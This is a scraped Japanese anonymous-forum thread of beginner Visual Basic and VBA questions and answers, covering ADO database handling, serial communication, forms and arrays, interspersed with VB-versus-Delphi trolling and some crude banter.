NGNG0203母を訪ねて名無しさん千里
NGNG勉強するとしたらどの本がいいのでしょうか？
0204名無しさん＠お腹いっぱい。
NGNGActiveXというのを使ってVBで作れるって聞きました
サンプルのサイトとかご存知でしたら教えてください
0205名無しさん＠お腹いっぱい。
NGNG文法通り記述して、objectにWebBrowserを充てるとエラーになります。
オブジェクト名は正しいので、原因がさっぱりです。
それと、HTMLのフレームが使ってあると、ソースがフレームのものしか読み込まれ
ないのですが、簡単に回避する方法はあるでしょうか？
0206厨房
NGNG0207名無しさん＠お腹いっぱい。
NGNG・A=(自分の総合的な攻撃力)-(相手の総合的な防御力)
・Aがある一定の値を満たしたら乱数で(決められた確率で)抽選。
・抽選に当たったら会心の一撃
みたいな感じなんですか？
0208207
NGNG0209>203
NGNGVBAと違ってやることは多岐に渡るわけで。
とりあえず初歩の初歩は安い本で事足りると思うけどね。
その後必要に応じて専門の本買えば？
0210名無しさん＠お腹いっぱい。
NGNGPrivate Sub cmdStart_Click()
Dim intRet As Integer '結果
Dim hoge As clsDefault
Set hoge = New clsDefault
hoge.data = txtDta.Text'入力値
intRet = hoge.GetMath()
txtRet.Text = intRet
Set hoge = Nothing
End Sub
---
clsDefaultに
Private m_data As Integer
Public Property Get data() As Variant
under = m_data
End Property
Public Property Let data(ByVal vNewValue As Variant)
m_data = vNewValue
End Property
Public Function GetMath() As Integer
GetMath = m_data + 1 '1足す
End Function
Private Sub Class_Initialize()
m_data = 0
End Sub
------------
txtDta.Textの入力値が適正かどうかのエラー処理は、
1. hoge.dataへ格納する前
2. アクセス関数の中で。
のどちらが正しいのでしょうか？
0211名無しさん＠お腹いっぱい。
NGNG0212名無しさん＠お腹いっぱい。
NGNGPrivate Sub cmdStart_Click()
txtRet.Text = CInt(txtDta.Text) + 1
End Sub
で終わるのに。
0213名無しさん＠お腹いっぱい。
NGNG0214となりのととろ
NGNGサンクスで肉まんでも買ってこよう。
0215名無しさん＠お腹いっぱい。
NGNG作ったコントロールを埋め込んだ フォームからDragして
ActiveXコントロール内にDropしたときにコードを蹴るためには
どんな技を使えばよいのでしょうか？
1. ○ 親フォームでDrag → 親フォームにDrop
2. ○ ActiveXコントロール内でDrag → ユーザコントロール内にDrop
3. × 親フォームでDrag → ユーザコントロール内にDrop
4. × ActiveXコントロール内でDrag → 親フォームにDrop
特に4の場合、なにか掴んでActiveXコントロールの外にマウスを持っていくと
マウスカーソルが"そいつは無理っす!!"と言い出します。
なんか方法があるのでしょうか？ それとも無理なんすか…?
0216215
NGNGs/ユーザ/ActiveX/
です。
0217ＶＢ使い
NGNG標準モジュールと、クラスの違いをおしえて下さい。
標準モジュールは、全体でつかえる、定数とか、関数を定義
できるというのが認識ですが、クラスというのはなんなんでしょうか？
0218名無しさんi486
NGNGオブジェクトのメッセージとプロパティの定義を書く(つまりC++のクラス)
そのクラスのインスタンスを生成しオブジェクトとして操作する。
つまりオブジェクト指向な書き方が出来る。
現バージョンでは派生できないが。
0219名無しさん＠お腹いっぱい。
NGNGＶＢユーザはコンバートがんばって下さい。
http://www.microsoft.com/japan/developer/vstudio/nextgen/technology/vb6tovbdotnet.asp
0220(´ー‘)ｙ-～～
NGNGさようならDelphi。
0221名無しさん＠お腹いっぱい。
NGNG'不'完全な、の間違いに1000ヴェク
0222(´ー‘)ｙ-～～
NGNG0223名無しさん＠お腹いっぱい。
NGNG思いっきり依存してますが・・・
kylixプロジェクトの方が魅力的。
0224名無しさん＠お腹いっぱい。
NGNG0225名無しさん＠お腹いっぱい。
NGNG0226名無しさん＠お腹いっぱい。
NGNG0227名無しさん＠お腹いっぱい。
NGNGって言いたいが VB.NETでも無くなるのでこれはドロー
0228名無しさん＠お腹いっぱい。
NGNG0229名無しさん＠お腹いっぱい。
NGNG0230名無しさん＠お腹いっぱい。
NGNG0231名無しさん＠お腹いっぱい。
NGNG0232名無しさん＠お腹いっぱい。
NGNGぶいびーせぶんであのめんどうなえらーしょりがかいぜんされるんだよ
まいくろそふとのせいひんだしね
はせいもけいしょうもできるんだよ
ぶいびーさいこうだよ
0233名無しさん＠お腹いっぱい。
NGNGそりゃすごいね。
派生と継承ができるんだー
0234名無しさん＠お腹いっぱい。
NGNG最初気がつかなかったよ
0235名無しさん＠お腹いっぱい。
NGNG0236名無しさん＠お腹いっぱい。
NGNG0237名無しさん＠お腹いっぱい。
NGNGコントロール配列にしてそのままIndex抜いちゃうとか。
0238名無しさん＠お腹いっぱい。
NGNG0239名無しさん＠お腹いっぱい。
NGNG使う分だけ
0240名無しさん＠お腹いっぱい。
NGNGぶいびーみたいにらんたいむだっていらないしさ
でるふぁいもそんなにねだんたかくないしね
でるふぁいしっくすでぶいびーせぶんをおいぬくよ
でるふぁいさいこうだよ
でるふぁいまんせ～～
0241(´ー‘)y-～～
NGNG次期バージョンで完全にVBが上回ったからなぁ。
kylixはどうせ浮かび上がることもないだろうし。
時代の流れは速いねぇ。
0242名無しさん＠お腹いっぱい。
NGNGあった機能がやっと実現できたぐらいで。
敷居が高くなった事かな？
0243(´ー‘)y-～～
NGNG確かWin95が発売されたときMacユーザがそんなこと言ってたっけなぁ？
おいらは鼻で笑ってたけど。
0244名無しさん＠お腹いっぱい。
NGNG0245名無しさん＠お腹いっぱい。
NGNGどうにか頭に叩き込む良い方法はないでしょうか？
0246名無しさん＠お腹いっぱい。
NGNGくだらん煽りしてねえでさっさと初心者の質問
答えてやれよ。
0247(´ー‘)y-～～
NGNGOSが勝手に最適化してくれるからほっといても大丈夫さ～～
0248名無しさん＠お腹いっぱい。
NGNG0249名無しさん＠お腹いっぱい。
NGNGばりあんとがたがなくなるんだ
しーしゃーぷやしーぷらすぷらすのこーどからもかんたんにけいしょうできるしね
あくせすかんすうだってみやすくなったよ
じつはぶいびーせぶんはでるふぁいをたおすためのごくひぷろじぇくとなんだ
ぶいびーさいこうだよ
0250名無しさん＠お腹いっぱい。
NGNG0251名無しさん＠お腹いっぱい。
NGNG0252(´ー‘)y-～～
NGNGあとは歴史に何を残すかが課題だねぇ
0253名無しさん＠お腹いっぱい。
NGNG0254名無しさん＠お腹いっぱい。
NGNG0255名無しさん＠お腹いっぱい。
NGNGメディアプレーヤの再生ボタンを押したときのメッセージの受け取り方を教えてください。
0256名無しさん＠お腹いっぱい。
NGNGAlan Cooper
http://www.johnsmiley.com/visualbasic/vbhistory.htm
0257名無しさん＠お腹いっぱい。
NGNGもちろん。
aximp.exeとかいうのを使うと、ラッパークラスを作ってくれる。
ActiveXを継承することも可。
0258名無しさん＠お腹いっぱい。
NGNGVBのコードネームが Ruby・・・
0259帝国主義者
NGNG0260帝国主義者
NGNGが上がっても影響しなくなりますか？LINUXやMAC OSでも
動きますか？
0261名無しさん＠お腹いっぱい。
NGNG0262名無しさん＠お腹いっぱい。
NGNGDim intB As Integer
intB = intA
intB = 0 '※3
End Function
※3の部分で,参照渡しで渡されたintAのコピーintBの内容を変更したのと同時に元のintAの内容も変えるようなことは出来ないんでしょうか？
つまり、"intB"と"intAのメモリ内の格納値"を一心同体にするっていうか考えたんですけど。
0263名無しさん＠お腹いっぱい。
NGNG出来ません。
ところで、なぜそんな事したかったの？
0264262
NGNGありがとうございました。
ただ思いついただけです.
0265VBしらない
NGNGintBをintAのリファレンスとして宣言するとか出来ないの？
0266名無しさん＠お腹いっぱい。
NGNGのほうが、簡単だからじゃない？
どーしてもしたければ、クラスを使うって手もある。
0267(´ー‘)y-～～
NGNG0268名無しさん＠お腹いっぱい。
NGNGびじゅあるすたでぃおどっとねっとはぺんてぃあむすりーはっぴゃくめがへるついじょうめもりにひゃくごじゅうろくいようならかいてきだよ。
しじょうのかっせいかにつながるね。
みんなぺんてぃあむふぉーかいなよ
いんてるはいってる？
まいくろそふとさいこうだよ
0269名無しさん＠お腹いっぱい。
NGNG地球環境なんか知ったこっちゃないわ。
0270名無しさん＠お腹いっぱい。
NGNGVB6のMSCommでRS-232Cの制御を考えてます。
計測器に"STX"(asciiｺｰﾄﾞ)と"IT1"を送信したいのだけど、
Form1.MSComm1.Output = Chr$(2) & "IT1"
と書いてもうまく行きません。
"STX"を送るのに、上のような書き方ではダメなんでしょうか？
誰か教えてください。
0271名無しさん＠お腹いっぱい。
NGNGMSCommは使ったことねえけど、VBの母国語はUNICODEであり、
かつVBは外界は非UNICODEだと思っているので、
ANSI<->UNICODE変換にまつわる下らない諸問題に
はまることは良くあることだ。
MSCommのヘルプを良く読んで、「バイナリデータを送りたい
場合はStringではなくバイトの配列を使ってね」というような記述が
ないか(どうせあるに決まっているが)確認したまえ。
0272名無しさん＠お腹いっぱい。
NGNGゴミ箱に入れると、ゴミ箱がコトコト揺れます。
そんな僕ですがVB理解できますか？
0273名無しさん＠お腹いっぱい。
NGNGそれはちょっと難しいと思います
0274名無しさん＠お腹いっぱい。
NGNGＶＢでＳＱＬＳＥＲＶＥＲのテーブルにはいっている
データ件数をカウントしたいんです。
MoveLast をつかってRecordCountをつかうと
パフーマンスが低下するそうですが、他にいい方法があるのでしょうか？
0275712
NGNGSELECT COUNT(*) FROM ...
ってのは？
0276名無しさん＠お腹いっぱい。
NGNGこいつうざいねー。ＶＢ使いってこんな奴ばっかりなんですか？
0277274（教えて君ですいません）
NGNGできました！ありがとうございます。
ＳＱＬで書くんですね･･･
ちなみにＭＳＴテーブルの件数をカウントするために、
Set Cmd = New ADODB.Command
Cmd.ActiveConnection = Cn
Cmd.CommandTimeout = 0
Cmd.CommandType = adCmdText
Cmd.CommandText = "select * from MST where FLGA is null "
Set R01 = Cmd.Execute
MsgBox (R01.RecordCount)
と書くと、メッセージに－１が返えされてしまうのはなぜですか？
0278名無しさん＠お腹いっぱい。
NGNGレーシングスーツ着てレーサーに乗るより、
車で逝くよりね。
Delphiが三輪車なだけだから。
0279名無しさん＠お腹いっぱい。
NGNG0280名無しさん＠お腹いっぱい。
NGNGやってる限りＶＢがクソに変わりはない。
0281名無しさん＠お腹いっぱい。
NGNG0282名無しさん＠お腹いっぱい。
NGNG0283名無しさん＠お腹いっぱい。
NGNG0284名無しさん＠お腹いっぱい。
NGNG0285名無しさん＠お腹いっぱい。
NGNGVB7は全面書換中(ヘジルスバーグの自宅のＰＣに眠っていた
Delphiのソースで)ですので出荷時期はいつになるかわかりません。
0286一応サゲるか
NGNGDelphiだけになりますね。
コンパイル速度が10倍以上遅くて
ライブラリが月とスッポン並に使いにくいC++開発者って
のんびりやさんで幸せですね。
と、煽ってみたよ。
Delphiのこと知らないのにいうなよね＞みんなさん
0287名無しさん＠お腹いっぱい。
NGNG0288一応サゲるか
NGNG限定スレだったか。煽り間違いしてしまった。
VBしか使えない初級者を煽っても仕方なかった、ｽﾏｿ
Delphi使いとして君らは相手してらんないんでナー（ｗ
0289名無しさん＠お腹いっぱい。
NGNGちょうど良かったな。Ver.4はひどかった。
Ver.5, Ver.6とやっと少し安定してきたら
言語仕様の大幅変更か・・・(-_-)
SP5ぐらいまで待つか・・・ってゆーか.NETって
いつでるのよ？
0290名無しさん＠お腹いっぱい。
NGNG0291名無しさん＠お腹いっぱい。
NGNGわんぱくでもいい、たくましく育て。家畜ども。
0292名無しさん＠お腹いっぱい。
NGNG0293名無しさん＠お腹いっぱい。
NGNGC?VC++? それで得意になってるのかい？
じゃあ聞くが、アインシュタインはVC++使えたのか？それどころか
VBすら使えなかったんじゃないのか？もし生きていたら、
アインシュタインとVBで勝負して勝つ自信あるよ、おれ。（ｗ
0294名無しさん＠お腹いっぱい。
NGNG0295アイソシュタイソ
NGNGｱﾋｬﾋｬ(ﾟ∀ﾟ)y─┛~~
0296名無しさん＠お腹いっぱい。
NGNG感想ですなあ。
しかし、Delphi の方が適用範囲が広く、習熟するほどに開発効率が
上がるので、最近はもっぱら Delphi です。
0297アイソシュタイソ
NGNG>294
ウイルスそのものじゃねーの？
0298名無しさん＠お腹いっぱい。
NGNG0299名無しさん＠お腹いっぱい。
NGNGアインシュタインだったらVBなら１週間程度でマスター
しちゃうかも。てか新しい言語作っちゃうかもな。
(コンピュータの発達した現代に生きてないのが残念だ。)
>>298
VBが進化するからVB使いは焦ってるんだよ。が本音だろ？
Kylixの発表は.NETのずっと前だったしね。
0300名無しさん＠お腹いっぱい。
NGNGそんなやついるわけないだろ。
0301名無しさん＠お腹いっぱい。
NGNG自然。Windows環境にがんじがらめにしてしまえというのが
その目的だね。UNIXやってる会社でC#にしようって会社はいない
と思うが。
0302名無しさん＠お腹いっぱい。
NGNGはまってしまうのだろう。
0303名無しさん＠お腹いっぱい。
NGNGしかも.NETになっても名前いっしょで過去遺産も移植できる可能性がある。
0304名無しさん＠お腹いっぱい。
NGNG0305名無しさん＠お腹いっぱい。
NGNGこういう時はファーストの出来が悪いと逆に大コケするんだよね
サービスパックだらけとかバージョンアップの度に互換性が無いとか
になると、
結局OCXの罠商法で食ってる連中だけがまた食えるだけでジリ貧じゃないかな
0306D
NGNGソース互換性がないので、苦労するでしょうね。
0307名無しさん＠お腹いっぱい。
NGNG0308>307
NGNG0309名無しさん＠お腹いっぱい。
NGNGなにかメリットはありますか?
0310>309
NGNG0311名無しさん＠お腹いっぱい。
NGNGでも、単価はあんまりよくないぞ。
0312名無しさん＠お腹いっぱい。
NGNGVBの栄光の歴史の１つに入れさせてもらうよ。
0313名無しさん＠お腹いっぱい。
NGNG0314名無しさん＠お腹いっぱい。
NGNGLearning Edition から Professional Edition にアップグレードってできるんですか。
0315名無しさん＠お腹いっぱい。
NGNG1.Aのフォームを開く(最大化)
2.Bのフォームを開く(最大化)
3.Cのフォームを開く(最大化)
4.最大化されているCを閉じる
こういう動作をしたときにアクティブなフォームがAになってしまいます
フォームの動作を効率的に管理する方法は無いでしょうか？
開いた順にアクティブフォームを切り替えたいんですけど
0316VBは細かい事知らん
NGNG親子関係を意識しないといかんね。>315
0317俺もメインはDなんで細かい事知らんが・・・
NGNGFormB.Show ,Me
でいいんじゃないの？
0318315
NGNGカキコしてから気づいたんですけど
今作ってるプログラムAccess2kでした
すいませんm(__)m
VBでは親フォーム指定できました。
VBAだとできないみたいですね
もうちょっと考えてみます。
0319名無しさん＠お腹いっぱい。
NGNG関数を使っててどうしてもできない所をVBAでサポートするのか、
VBA使ってるならもう可能な限りVBAでこなしちゃった方が
良いのかということです。
0320317
NGNG(ちゅうか全フォームMDIの子ウィンドウだけど・・・)
私はフォーム名の履歴を配列に記憶していくスタック方式を
取ったけど。呼び出した側はacHiddenで隠しておくって小細工
しときました。(復帰時にスタックレベル下げて再表示。当然
閉じるボタン押せなくしないと管理がおかしくなるので表示し
ないようにする。)
Accessの場合1回でもエラーが出ると全変数リセット掛かるので
OUTなんですけど。(Accessは簡単な管理のみで業務には使わん方が
いいと思う。)
>>319
マクロ使わなければどちらも大して変わらん気がするけど・・・
ちゅうかAccessでも簡単なクラスは使えるようになったんで
使える局面が無いか検討してみた方がいいと思う。
グローバル変数が増えすぎるのを抑える効果があるよ。
0321名無しさん＠お腹いっぱい。
NGNG登録ハガキ送っていればフツー出来ません？
0322315
NGNGなるほどグローバル変数に記憶しておくしかなさそうですね
その方法で試してみます
0323絵描き
NGNGマニュアルを見たところ、「詳しくはAdobeサポートへ(英語)」
とか「OLEはMSで聞け」としか書いてません。
で、泣きながら検索してみたものの、OLE関連はEXCELやACCESSの
サンプルばかりで参考になりませんでした。
どこかいいサイトないでしょうか？
自動化できないと42の画像ファイルから32x150個の矩形を
オフセット付でコピペする作業を手でやる羽目に…(泣)
0324名無しさん
NGNGFTPにログインなどの方法は書いてませんでした。で、質問です。
サーバーに接続する、ログインする、ログアウトするなどがわかりません
いちよう、フリーソフトのソースは見たんですがいまいち分かりませんでした
教えてくださいお願いします。
0325名無しさんi486
NGNGなにをしたいのかよくわからんが、まずはDLLコールを覚えて
WIN32APIを覚えて、FTPのプロトコルをRFCから探してみるとか？
私なら、面倒なのでOCXを買うけど。
0326324
NGNGどちらがいいですか？
0327名無しさん＠お腹いっぱい。
NGNGhttp://www.microsoft.com/japan/developer/library/default.asp
0328名無しさん＠お腹いっぱい。
NGNG「いちよう」ってなんだよ、「いちおう」だろ。
0329324
NGNGすんません。言葉くずれました
0330名無しさん＠お腹いっぱい。
NGNGプレイボタンを押したときって言うのはどうやって取得するのですか？
また、ムービーファイルを再生中、今どのフレームを再生しているというのは取得できるのでしょうか。
0331名無しさんi486
NGNG使っていいのか？
0332夢見る名無しさん
NGNGこういう時の定石はどういう方法ですか？
0333３３２
NGNGdim dat(1000000) as byte
と宣言しています
0334名無しさんi486
NGNGＶＢをやめる。これ本当。
0335名無しさん＠お腹いっぱい。
NGNGCPUを変える
Pentium!!!1GHzにする
ストライピング組む
これ本当。
0336３３２
NGNG0337名無しさん＠お腹いっぱい。
NGNG本当なのに・・・
そこだけDLLにしたら、鬼ほど速くなるのに。ｸﾞｽﾝ
0338３３２
NGNG0339３３２
NGNGでる？
0340名無しさん＠お腹いっぱい。
NGNGなんとか１０００個とかいっぺんに処理できないの？
一個づつしてると遅いよ。特にファイル操作がね。
0341名無しさん＠お腹いっぱい。
NGNGバッファにある程度まで溜めて後で一気に
書き出しても良いんじゃない？
0342名無しさん＠お腹いっぱい。
NGNG１バイトづつ読まずに全部読んで全部計算終わってから全部書け
0343３３２
NGNGFor i=0 to 1000000 step 1000
on error goto 20
put #f,,dat(i)
on error goto 20
put #f,,dat(i+1)
on error goto 20
put #f,,dat(i+2)
・
・
・
on error goto 20
put #f,,dat(i+999)
next i
というかんじで１０００まで出力しましたが、１ＭＢを出力するのに３５秒かかりました。DoEventsを省いた場合です。
１００００ぐらいやってみようかな？と思ってやったらプロシージャが長いと怒られてしまいました。
0344３３２
NGNG＞３４１
＞３４２
今気づいた
ショック
なんで計算終わったのに一バイトづつやってたんだろう
鬱d氏n
0345３３２
NGNG一瞬だ
顔射します
0346絵描き
NGNG0347名無しさん＠お腹いっぱい。
NGNG0348アクセス
NGNG名簿を作っているのですが,
カレントコードの移動、更新（変更）は出来るようになったのですが,
登録が出来ません。
AddNewメソッドを使ってやろうとしてもエラーが出ます。
私の使っている本だと、追加したいレコードの各フィールドに
値を代入するところで,プログラムに直接値が書いてあるのですが,
意味がわかりません。教えてください。
0349名無しさん＠お腹いっぱい。
NGNGその後、Updateすれ。
SQLでInsertしても可。
0350アクセス
NGNGレスありがとうございます。
”レコードセットの各フィールドに値を設定”
と言うのは,VBのFORM上の連結コントロールでいいのですか?
本だとコードに記述してあったのですが,
両方やってみたんですが,
エラーが出てきてしまうのですが･･･。
0351アクセス
NGNG解決できました。
コントロール名を記述するべきところに
値自体を記述していました。
あー恥ずかしい・・・。
349さんありがとうございました。m(_ _)m
0352わかりません
NGNGHELPを見ても全然わかんないんです・・・
何方かVBAに詳しい方教えて頂けないでしょうか？
勉強不足ですいません！
0353教えて！！
NGNGリストボックスに外部ファイルのテーブルのフィールドAの値すべてを表示して、①
クリックイベントでその中にある1つを選んだら、②
その選んだ値のあるカレントコードに移動して、
そのレコードのフィールドの値（リストに入ってるの以外）を
連結しているコントロールに表示したいのですが・・・。
①までは、表示できるようになり、form_Load
の時点で、他の連結コントロールには、
最初のレコードの値が表示されるようになったのですが、
クリックした時点でエラーになってしまいます。
どのようにすれば良いですか?
ちなみにDBは、Accesseを使っています。
0354名無しさん＠お腹いっぱい。
NGNGどうすれば、と言われてもね・・・
「ＶＢ買いました、どうすればいいですか？」
あなた答えられますか？
0355ＨＥＹ
NGNG2000/02/28 に10を足し（10日後）たいんですけど･･･
0356ＨＥＹ
NGNGど～も～
0357D使い
NGNG説明が良くわからんのですがこんな感じかな？
Private Sub Combo1_Change()
If Combo1.ListIndex <> -1 Then Exit Sub
Data1.Recordset.FindFirst "比較列 = '" & Combo1.List(Combo1.ListIndex) & "'"
End Sub
0358名無しさん＠お腹いっぱい。
NGNG検索サイトで、
ユリウス日とか準ユリウス日とか調べてみ。
0359>358
NGNG0360VBしかできない人
NGNGDateadd関数でバッチリだよ。詳細はMSDNで調べてね。
0361361
NGNGVBのプログラム中から、ATOK→IMEというような変更ってできますでしょうか？
よろしくお願いいたします。
0362D使いβ
NGNGまずくないか？
IME関連のAPIの解説は↓の本に詳しく書いてあるが・・・
http://www.shoeisha.com/book/Detail.asp?bid=892
0363361
NGNGありがとうございます。
早速その本、購入してみます。
>ユーザ環境にどういうIMEが入っているかを決め打ちするのは
>まずくないか？
まったくそうなんです・・・というか、馬鹿馬鹿しいんですが、
ユーザーさんがどうしてもと言うんですよねえ。
0364名無しさん＠お腹いっぱい。
NGNGa=Null
If a = Null Then
・・・
とか書いてもa=NullがTrueとならないのはなぜでしょう？
ちなみに
If VarType(a)=vbNull Then・・・と書くとうまくいくのですが。
0365353
NGNGどーもです。
0366名無しさん＠お腹いっぱい。
NGNG河口輝久さんと河野勉さんが書いてる本見たらバカでも出きるね
0367名無しさん＠お腹いっぱい。
NGNG0368D使いβ
NGNG値Nullの判定はisNull関数では ?
ちなみに無効な参照の判定は
If Obj is Nothing Then
参照を減らしてオブジェクトの解放を促すのは
Set Obj = Nothing
ですね。
Delphiみたいな明示的な型キャストが無いのが残念。
0369名無しさん＠お腹いっぱい。
NGNGdim aaa(x,y) as string
と宣言した後、入れたデータを保持したまま、
xの数を変更することってできますか？
ReDim Preserve だと、yしか変更できないって
書いてありますもので･･･
0370D使いβ
NGNGCollectionクラスを使えばいいんじゃないかなあ？
dim x as new Collection
dim y as Collection
dim I as Integer
For I = 1 to 10
set y = New Collection
y.Add "値"
x.Add y
Next I
これでリストにリストをぶら下げるような
x(n).y(m)みたいな参照が出来そうだけど。
0371370
NGNGＶＢってこんなことできるんですね･･･はじめて知りました･･･
D使いβさん、ありがとうございました。
0372あ、まちがえた
NGNGすいませ～ん･･･
0373名無しさん＠お腹いっぱい。
NGNGこのあたり、メモリなんかぜーんぜん気にしなくていいところも
ＶＢの偉大なところですね。
0374D使いβ
NGNG用が無くなったら必ず
Set X = Nothing
で参照カウンタをデクリメントしている。
市販ActiveXコントロールでメモリ馬鹿食いのがあったりするんで
極力基本コントロールで済ます。ビットマップなんか殆ど
貼り付けたりしない。ＶＢのプロジェクトでいくら外観にこった
ところでしょうがないからなるべくシンプルにする。
0375D使いβ
NGNG全要素を一発で消去できる Clearメソッドみたいなの
無いものか・・・データが多いとループで回してRemove呼ぶと
時間掛かるんだよね・・・VB7じゃここらへんも直して欲しい
ところ。
0376D使いβ
NGNG遅レスだけど・・・
Set, Letメソッドなら配列を受け取る事は可能。
GetはVariant配列のみ可能。
配列の上限、下限はUBound,LBoundで取得。
Cの可変個引数やDelphiのオープン配列に相当するものは
キーワードParamArray。
0377リアル厨房
NGNGウエイトを入れたいのですがうまくいきません。
privaate sub command1_click()
txta.text = y
'ここにマウスクリックで解除できるウエイト処理を入れたいのです
txta.text = x
end sub
ウエイトが無いと、yの表示後すぐにxが表示され、yが目視出来ません。
msgboxを挿入すればそれっぽい処理になりますが、別WindowsにOKとかじゃ
どうにも不恰好に見えます。何か良い方法はあるでしょうか。
0378D使いβ
NGNG必要なのでしょう？
yの値を表示させたいならDoEventsなりRePaintを呼び出し、
タイマーなり空ループなりすればいいと思いますが。
#しかし何故VB使いの方々は煽りばかりで初心者の
質問に答えてあげないのでしょう？
0379佐藤
NGNG編集時にActive X コントロールを
実行状態にする方法についてお尋ねします。
EditAtDesignプロパティをTrueにして、
編集時に[右クリックｰ>編集]とすることで
一応実行状態にはなるのですが、
操作がわずらわしいのです。
できれば、編集時、該当コントロールを
クリックしただけでそのコントロールを
実行状態にする方法はないものでしょうか？
0380377
NGNG意図が解かり難い質問でスミマセンでした。
なかなかうまくいきませんが、もう少し頑張ってみます。
0381名無しでGO!
NGNGtabを追加するとき、既存のtabの間に追加できないのか。
tabを追加するといつも最後のならびに追加されてしまう
のですが。
0382デフォルトの名無しさん
NGNGＶＢ初心者友の会でも聞いてるだろこのタワケモンがあ。
どっちかにせえボケ。
しかもどっちもレス無し
0383名無しさん＠お腹いっぱい。
NGNG0384鈴木
NGNGついでに田中も逝って良し！
0385佐藤
NGNGわはは
ばれちっち。
レス無しを予想しての多方面投稿でした。
つまり、できないってこと なのかな？
0386名簿の登録について質問①
NGNGDim Al As String
Al = "電話番号 = '" & txtTel.Text & "'"
rs.Find Al, 1, adSearchBackward
rs.MoveFirst
rs.Find Al, , adSearchForward
'この間にテキストが空だったときにエラーを返してExit Subで抜けている。
If rs.EOF = True Then
rs.AddNew
rs!顧客コード = txtKodo.Text
rs!顧客氏名 = txtName.Text
rs!ふりがな = txtFurigana.Text
rs!郵便番号 = txtZip.Text
rs!都道府県 = txtKen.Text
rs!住所 = txtAd.Text
rs!電話番号 = txtTel.Text
rs!備考 = txtBikou.Text
rs.Update
End If
If rs.EOF = False Then
MsgBox ("その人は既に登録されています。")
End If
txtKodo.Text = ""
txtName.Text = ""
txtFurigana.Text = ""
txtZip.Text = ""
txtKen.Text = ""
txtAd.Text = ""
txtTel.Text = ""
txtBikou.Text = ""
txtKodo.SetFocus
0387名簿の登録について質問②
NGNGrs.EOFがFalseの時に、elseまで抜けているのに
rs！のところにテキストの内容が入ってしまって、
登録されていない電話番号でも、EOFがFalseの時のエラーメッセージが
出てきてしまいます。
しかも、ADDNEWされず、名簿のどこかに上書きされてしまい
レコード数は同じまま、そのとき入力したものが名簿に登録?（上書き）
されてしまいます。
わかる方どうか教えてください。
0388デフォルトの名無しさん
NGNG厨房は氏ね。
0389いや、調べてはみたんですが・・・
NGNG見た目窪みますよね？
これを逆に凸型にもりあげることってできませんでしょうか？
0390デフォルトの名無しさん
NGNG用意するもの
ラベル２個
ラベルの片方をもう片方より同系色で暗くする
暗いほうのボーダーラインを実線にする
その上に明るいほうを貼りつける
盛り上がってるようにみえる
ような気がする
0391389
NGNGぐはぁ！そうきますか･･･
やると、そう見えなくもないですが･･･
お世話になりました･･･
0392デフォルトの名無しさん
NGNGってのがよくわからないんですが‥？ なんで？
0393デフォルトの名無しさん
NGNG0394名無しさんi486
NGNG0395393
NGNGどーもです。
１万くらいなら余裕あるから買えるな・・・
0396デフォルトの名無しさん
NGNGCで作るんですか？
0397デフォルトの名無しさん
NGNG0398>396
NGNG何も考えずにActiveX作ればOK
0399デフォルトの名無しさん
NGNG<OBJECT classid="clsid:xxxx-xxx ...
のxxxx-xxx ... なんですがこのタグでprogidでの指定ができないので
classidで指定するほかないみたいなんですが。
とりあえず、regeditでprogidをキーに探すか、OLE Viewerでtypelibをダンプして
調べてますが、もう少しスマートな方法がないもんかと。
いっそうのことVBにclassidを勝手に作らせないで
タイプライブラリを作ってそこでclassidを自分で指定させたほうがいいかな？
とも思う今日この頃。
0400デフォルトの名無しさん
NGNGVisualInterDevを使うってのはダメ?
結構便利よ。
0401デフォルトの名無しさん
NGNG0402がんばれ、VB１週間目
NGNGDim a as long
a = time
の変数aの値を
他のForm2から見るためにはどうしたら良いでしょうか？
0403名無しさん＠お腹いっぱい。
NGNG関数の中ではなく外、ソースの一番上なんかに
Public a as long
とすればForm1.a として見えるよ。
0404がんばれ、VB１週間目
NGNG0405名無しさん＠お腹いっぱい。
NGNG出来んヒトにとってはもっといいページたくさんあるだろ。
こんな匿名掲示板でまともなレスは全然期待できねーぞ。
本気で勉強するなら書籍読むか、特定の初心者向けＨＰを閲覧すべきだろうね。
0406>405
NGNGなんともならないと・・・言うわけだね？
0407デフォルトの名無しさん
NGNGディストリビューションウィザードでsetup作れば？
htmlファイルが自動生成されるけど、その中にclassid書いてあるよ。
めんどくさいけどregeditでさがすよりマシでしょ？
0408質問ing娘。
NGNGダミープロジェクトにカスタムDLL参照設定させて
そのプロジェクトファイル見りゃEEじゃん×２
つーかActiveXDLL作ってんならテスト用クライアント
プログラムあるんじゃないの？
0409デフォルトの名無しさん
NGNGForm1.Print "文字"
とは出来ても、
With Form1
.Print "文字"
End With
とは出来ません。
0410RPG作りたいです。
NGNG最終的にRPGを作りたいのですが、検索してもいいサイトが出てきません。
いい勉強サイトありませんでしょうか？
0411２１月
NGNG開いた方のrequest.formでは取得出来ないんです？
0412sage
NGNGモジュールの有無は LoadLibrary 、
関数の有無は GetProcAddress で確認できますが、
では引数の数、及び第n引数の型を調べるには
どうすればいいのでしょうか？
0413デフォルトの名無しさん
NGNG0414デフォルトの名無しさん
NGNG無駄。
JavaをやったあとＣ＃をやれ・・・。
0415デフォルトの名無しさん
NGNG何かしら不都合があるのだったら新しく買いますが。
0416デフォルトの名無しさん
NGNGOpen App.Path & "\text.txt" For Append As #1
Write #1, ""
Close #1
これってどうなんでしょ？下手糞でしょうか？
0417デフォルトの名無しさん
NGNG全員逝って良し！
0418デフォルトの名無しさん
NGNG君もいっしょに逝こう!!
0419ヒマつぶし
NGNGttp://support.microsoft.com/support/kb/articles/Q182/0/69.ASP?LN=JA&SD=SO&FR=0
>>411
DynamicHTMLか？
よくわかんないけど、オブジェクトのonchangeイベント発生時に
値を変数に持っといて、ウィンドウ開くときにLocationに?で連結
すればいいような気がする。気がするだけ。。。
>>412
DLLにそういう関数を実装してもらえ（ｗ
>>415
IEのバージョンが。。。
でも、やりたきゃやれ。
>>416
別にいいけどFreeFileすれ
0420409
NGNG結局出来ない(BUG)と言う事か・・・Thanks!
#BASICの予約語多すぎ。
>>DLLにそういう関数を実装してもらえ（ｗ
やっぱ普通のDLLじゃなくてCOMにすべき。
実装、配布ともに面倒だけど。
0421じゃんけんについて質問
NGNG作りたいのだけど途中でプログラムが止まってしまってこれ以上できないんですよ。これは
どこが悪いの？
Option Explicit
Private Sub Form_Load()
Dim counter As Integer, lose As Integer, drow As Integer, win As Integer
Dim com As Integer, player As Integer
'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"
Randomize Timer
'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: drow = 0
